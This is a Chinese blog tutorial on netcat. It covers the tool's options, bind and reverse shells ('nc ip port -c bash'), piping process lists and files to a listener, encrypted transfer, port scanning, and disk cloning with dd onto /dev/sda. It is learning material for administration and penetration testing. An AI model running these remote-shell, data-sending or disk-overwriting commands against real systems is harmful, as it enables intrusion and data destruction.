Netcat是什么
NC(netcat)被称为网络工具中的瑞士军刀,体积小巧,但功能强大。
Nc主要功能
Nc可以在两台设备上面相互交互,即侦听模式/传输模式
Telnet功能
获取banner信息
传输文本信息
传输文件/目录
加密传输文件,默认不加密
远程控制
加密所有流量
流媒体服务器
远程克隆硬盘
具体介绍
在此之前,先看看参数说明。
nc -h

image.png
-c shell commands shell模式
-e filename 程序重定向 [危险!!]
-b 允许广播
-d 无命令行界面,使用后台模式
-g gateway 源路由跳跃点, 不超过8
-G num 源路由指示器: 4, 8, 12, ...
-h 获取帮助信息
-i secs 延时设置,端口扫描时使用
-k 设置在socket上的存活选项
-l 监听入站信息
-n 以数字形式表示的IP地址
-o file 使进制记录
-p port 本地端口
-r 随机本地和远程的端口
-q secs 在标准输入且延迟后退出(翻译的不是很好,后面实例介绍)
-s addr 本地源地址
-T tos 设置服务类型
-t 以TELNET的形式应答入站请求
-u UDP模式
-v 显示详细信息 [使用=vv获取更详细的信息
-w secs 连接超时设置
-z I/O 模式 [扫描时使用]
其实常用的就几个参数-n,-v,-l,-p,-q
.
NC远程控制
这个比较有意思,我放在第一。
正向连接
A:nc -lp port -c bash
B:nc ip port
A将自己的Bash发给B
反向连接
A:nc -lp port
B:nc ip port -c bash
B将自己的Bash发给A
win下Bash换成cmd

image.png

image.png

image.png
通常反向连接 比较常用,因为防火墙的存在,让目标机主动发送shell
下面是Netcat Bind shell的演示

hackerwing.com
使用NC进行信息收集
简单的建立连接,就是侦听模式和传输模式
nc -l -p port监听指定端口号
nc -nv ip port连接对方tcp端口,默认情况下,双方可以发送文本信息
收集目标机上的进程信息
nc -l -p 4444 >wing.txt将远程发送过来的内容保存在本地
Ps aux |nc -nv ip port -q 1标准输入完成后delay一秒钟,会发送到侦听端

wing

wing

wing
NC传输文件/目录
nc -lp 4444 >1.txt1.txt就是你要保存的文件名 自定义
nc -nv ip port <1.txt -q 1将文件发送给侦听端
ps:侦听端的文件名最好按照文件本身来命名
tar -cvf - 目录名/|nc -lp port -q 1
将目录打包
nc -nv ip port |tar -xvf -
将目录解包
NC文件加密传输
apt-get install mcrypt
A: nc -lp port|mcrypt - -flush -Fbqd -a rijndael-256 -m ecb >文件名
B:mcrypt --flush -Fbq -a rijndael-256 -m ecb <文件名|nc -nv ip port -q 1
理解:B将文件加密发送,A接受后先解密再保存到本地,B在1s后退出.
主要是利用mcrypt进行加密
NC流媒体服务
A:cat wing.mp4|nc -lp port
B:nc -nv ip port |mplayer -vo x11 -cache 4000
A让wing.MP4这个文件成为流的形式发送到B,B用mplayer播放,接收多少播放多少,指定缓存4000bytes。
NC端口扫描
nc -nvz ip 1-65535

image.png
默认使用tcp进行扫描
NC复制磁盘
A:nc -lp port |dd of=/dev/sda
B: dd if=/dev/sda | nc -nc ip port -q 1
If是input filter
Of是output filter
B将数据复制到A挂载的硬盘上
我的博客地址:hackerwing.com
作者:Evilwing
链接:https://www.jianshu.com/p/cb26a0f6c622
来源:简书
简书著作权归作者所有,任何形式的转载都请联系作者获得授权并注明出处。
网友评论